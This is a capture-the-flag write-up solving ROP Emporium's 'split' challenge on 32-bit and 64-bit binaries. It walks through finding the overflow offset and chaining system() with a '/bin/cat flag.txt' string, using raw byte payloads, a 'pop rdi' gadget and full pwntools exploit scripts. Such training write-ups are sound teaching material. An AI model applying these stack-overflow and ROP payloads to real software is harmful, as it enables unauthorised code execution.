description |
---|
09/23/2023 |
We can still use a similar methodology to complete this challenge and this is still a ret2win, but with a bit of a twist.
{% embed url="https://ropemporium.com/challenge/split.html" %}
The challenge author told us that the string "/bin/cat flag.txt"
is still present in the binary.
Also, a call to system()
is present as well.
We simply need to chain them together to exploit our binary.
{% embed url="https://github.com/radareorg/radare2/blob/master/doc/intro.md" %}
file
:
{% code overflow="wrap" %}
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped
{% endcode %}
- 32-bit
- dynamically linked
- not stripped
checksec
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- NX enabled, making ROP a great technique
rabin2
:
rabin2 -I split
arch x86
baddr 0x8048000
binsz 6256
bintype elf
bits 32
canary false
injprot false
class ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
{% code overflow="wrap" %}
rabin2 -iz split32
[Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x080483b0 GLOBAL FUNC read 2 0x080483c0 GLOBAL FUNC printf 3 0x080483d0 GLOBAL FUNC puts 4 0x080483e0 GLOBAL FUNC system 5 0x00000420 WEAK NOTYPE __gmon_start__ 6 0x080483f0 GLOBAL FUNC __libc_start_main 7 0x08048400 GLOBAL FUNC setvbuf 8 0x08048410 GLOBAL FUNC memset [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x000006b0 0x080486b0 21 22 .rodata ascii split by ROP Emporium 1 0x000006c6 0x080486c6 4 5 .rodata ascii x86\n 2 0x000006cb 0x080486cb 8 9 .rodata ascii \nExiting 3 0x000006d4 0x080486d4 43 44 .rodata ascii Contriving a reason to ask user for data... 4 0x00000703 0x08048703 10 11 .rodata ascii Thank you! 5 0x0000070e 0x0804870e 7 8 .rodata ascii /bin/ls 0 0x00001030 0x0804a030 17 18 .data ascii /bin/cat flag.txt
{% endcode %}
The -iz
argument will show us strings in the data section of the specified binary.
- We can see a function call to
system()
- Inside of the data section of the ELF, we can see the string
"/bin/cat flag.txt"
NOTE: These are the two pieces of the puzzle that we need to "chain" together to ret2win.
I always want to view the disassembly of the functions to get as close to the source code to try and paint the picture as much as possible to know what is going on.
I wanted to switch some things up and use IDA for this one to gain some more versatility.
It took a little bit of time to get used to, but I think I'll be using it from time to time.
So, let's begin with looking at the functions within the target binary:
main()
:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts("split by ROP Emporium");
puts("x86\n");
pwnme();
puts("\nExiting");
return 0;
}
pwnme()
:
int pwnme()
{
char v1[40]; // [esp+0h] [ebp-28h] BYREF
memset(v1, 0, 32);
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0, v1, 96);
return puts("Thank you!");
}
usefulFunction()
:
int usefulFunction()
{
return system("/bin/ls");
}
So, the goal here is to replace the system("/bin/ls") call with system("/bin/cat flag.txt")
We can also see this in IDA using the Strings tab:
strings
We will be using lots of pwndbg
on this step.
NOTE: You can get most of this information from IDA as well but I prefer pwndbg
at this step.
Viewing the disassembly of usefulFunction()
:
disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0804860c <+0>: push ebp
0x0804860d <+1>: mov ebp,esp
0x0804860f <+3>: sub esp,0x8
0x08048612 <+6>: sub esp,0xc
0x08048615 <+9>: push 0x804870e
0x0804861a <+14>: call 0x80483e0 <system@plt>
0x0804861f <+19>: add esp,0x10
0x08048622 <+22>: nop
0x08048623 <+23>: leave
0x08048624 <+24>: ret
End of assembler dump.
The system()
call address:
0x0804861a
We also want the offset of the string "/bin/cat flag.txt"
.
Set a breakpoint at main and run the program:
b main
r
Now that we have the program running in memory, we can search for "/bin/cat flag.txt":
search /bin/cat
Searching for value: '/bin/cat'
split32 0x804a030 '/bin/cat flag.txt'
- Making our offset
0x804a030
Okay, our next goal is to find the offset to the instruction pointer using a cyclic pattern of 100 bytes:
cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
c
<send input>
This will obviously crash the program, and allow us to find the offset to the instruction pointer:
Finding offset to the instruction pointer
We can grab the offset by:
cyclic -l laaa
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44
We find that we had to write 44 bytes to the buffer to begin overwriting the return pointer.
Payload layout:
Padding (44) + system()
+ "/bin/cat flag.txt"
system()
:
0x0804861a
"/bin/cat flag.txt"
:
0x804a030
We need to now place them in little-endian format for our payload:
system(): 0x0804861a -> \x1a\x86\x04\x08
"/bin/cat flag.txt": 0x804a030 -> \x30\xa0\x04\x08
Utilizing python3
to craft our payload and write it to a file named payload:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\x1a\x86\x04\x08' + b'\x30\xa0\x04\x08')" > payload
Execute the binary and send the payload to it:
./split32 < payload
Result
Visualize the payload in pwndbg
:
Obtain a clean instance of pwndbg
.
Set a breakpoint at system()
and run while sending the payload in:
b system
r < payload
You can now see that we have a breakpoint at system()
:
Continue execution:
c
Seeing "/bin/cat flag.txt"
being placed onto the stack
Seeing flag.txt in pwndbg
exploit.py
:
- We can use
pwn template
to generate the setup for us
#!/usr/bin/env python3
from pwn import *
# SETUP
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Target binary
exe = './split32'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
#Delete core files once finished
context.delete_corefiles = True
# ===========================================================
# EXPLOIT GOES HERE
# ==========================================================
# Payload structure: padding (44) + system() address + offset for "/bin/cat flag.txt"
io = start()
# Locate the functions/strings we need
sys_addr = elf.symbols['system']
binCat_addr = next(elf.search(b'/bin/cat')) # Need to research next()
# Print out the target address
info("%#x system", sys_addr)
info("%#x /bin/cat", binCat_addr)
# Send a cyclic pattern of 100-bytes to the input of the target binary and overwrite the address on the stack
payload = cyclic(100)
# Send exploit
io.sendlineafter('>', payload)
# Wait for the process to crash
io.wait()
# Open the corefile
core = io.corefile
# Print out the address of EIP at the time of the crash (segfault)
eip_value = core.eip
eip_offset = cyclic_find(eip_value)
info('located EIP offset at {a}'.format(a=eip_offset))
# Craft a new payload which puts system('/bin/cat flag.txt') at the correct offset
# I need to research fit() not sure about how this works
payload = fit({
eip_offset: [elf.symbols.system,
0x0,
binCat_addr]
}
)
# Send payload to a new process
io = start()
io.sendline(payload)
io.recv()
# Grab flag.txt
flag = io.recvline()
success(flag)
Result
auto-ROP.py
:
#!/usr/bin/env python3
from pwn import *
# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = './split32'
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
#Delete core files once finished
context.delete_corefiles = True
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
p = process()
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# How many bytes to overwrite the EIP?
padding = 44
# Locate functions/strings we need for our payload
binCat_addr = next(elf.search(b'/bin/cat'))
# locate the target address for ("/bin/cat")
info("%#x /bin/cat", binCat_addr)
# Get ROP gadgets
rop = ROP(elf)
# Create ROP chain calling system() and replace with "/bin/cat flag.txt"
rop.system(binCat_addr)
# Inject ROP chain at the correct offset
payload = fit({padding: rop.chain()})
# Save payload to file
f = open("payload", "wb")
f.write(payload)
# Send payload
p.sendlineafter(">", payload)
p.recvuntil('Thank you!\n')
#Obtain flag
flag = p.recv()
success(flag)
file
:
{% code overflow="wrap" %}
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
{% endcode %}
checksec
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
rabin2
:
arch x86
baddr 0x400000
binsz 6805
bintype elf
bits 64
canary false
injprot false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
-iz
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x00400550 GLOBAL FUNC puts
2 0x00400560 GLOBAL FUNC system
3 0x00400570 GLOBAL FUNC printf
4 0x00400580 GLOBAL FUNC memset
5 0x00400590 GLOBAL FUNC read
6 ---------- GLOBAL FUNC __libc_start_main
7 ---------- WEAK NOTYPE __gmon_start__
8 0x004005a0 GLOBAL FUNC setvbuf
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000007e8 0x004007e8 21 22 .rodata ascii split by ROP Emporium
1 0x000007fe 0x004007fe 7 8 .rodata ascii x86_64\n
2 0x00000806 0x00400806 8 9 .rodata ascii \nExiting
3 0x00000810 0x00400810 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x0000083f 0x0040083f 10 11 .rodata ascii Thank you!
5 0x0000084a 0x0040084a 7 8 .rodata ascii /bin/ls
0 0x00001060 0x00601060 17 18 .data ascii /bin/cat flag.txt
Great, a very similar attack surface, but now we will be dealing with registers.
There is really nothing to reverse here since we did all of the work above.
The target is the same binary, just compiled using 64-bit architecture.
Time to dive back into pwndbg
!
Generate a cyclic pattern of 100-bytes:
cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Send the payload in and see where it crashes/begins overwriting RIP
:
r
<paste_here>
We start overwriting at the part of the pattern with and can find the offset with:
eaaaaaaa
cyclic -l eaaaaaaa
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32
The RIP is being overwritten at 32 bytes.
This means our padding will be 40-bytes.
This is because:
cyclic pattern (eaaaaaaaa) + RIP is 8 bytes after = 40 bytes to overwrite the return pointer.
Further confirming this with IDA:
0x20 = 32
in decimal + 8-bytes for RIP
= 40
(padding).
Our next goal is to obtain our "/bin/cat flag.txt"
offset and system()
address found in usefulFunction()
:
disass usefulFunction
0x000000000040074b <+9>: call 0x400560 <system@plt>
search "/bin/cat flag.txt"
split 0x601060 '/bin/cat flag.txt'
system(): 0x000000000040074b
"/bin/cat flag.txt": 0x601060
So, this setup is going to require a little bit of a different setup since we are exploit a 64-bit binary now.
Rather than placing values onto the stack, we will need to:
POP
the"/bin/cat flag.txt"
string from the stack into theRDI
register- So, we will need to find an instruction in the program that will
POP
an item from the stack into theRDI
register -- we can useropper
for this
ropper -f split --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: split
0x00000000004007c3: pop rdi; ret
Granting us our ROP Gadget:
0x00000000004007c3
This is the address that needs to go onto the stack first, followed by the "/bin/cat flag.txt"
address.
To iterate further:
So, inject the ROP gadget followed by the string address. This will POP
the "/bin/cat flag.txt"
off the stack and into the RDI
register and execute the system()
call.
Padding + ROP Gadget + "/bin/cat flag.txt"
(this will POP
the value off the stack and place it in the RDI
register for the FIRST parameter of the next called function -- in this case, system()
) + system()
.
Before we do this, we need to convert the addresses into little-endian format for our payload:
ROP Gadget: 0x00000000004007c3 = \xc3\x07\x40\x00\x00\x00\x00\x00\
"/bin/cat flag.txt" Offset: 0x601060 = \x60\x10\x60\x00\x00\x00\x00\x00
system(): 0x000000000040074b = \x4b\x07\x40\x00\x00\x00\x00\x00
Armed with that information, we can now grab our flag with the following payload:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xc3\x07\x40\x00\x00\x00\x00\x00' + b'\x60\x10\x60\x00\x00\x00\x00\x00' + b'\x4b\x07\x40\x00\x00\x00\x00\x00')" > payload
Send the payload to the target:
./split < payload
Result
We get our flag!
Set a breakpoint at system()
:
b *0x000000000040074b
Run the program and send payload:
r < payload
We can now see our string "/bin/cat flag.txt"
being passed as a command (or parameter) into the RDI
register and being passed into system()
.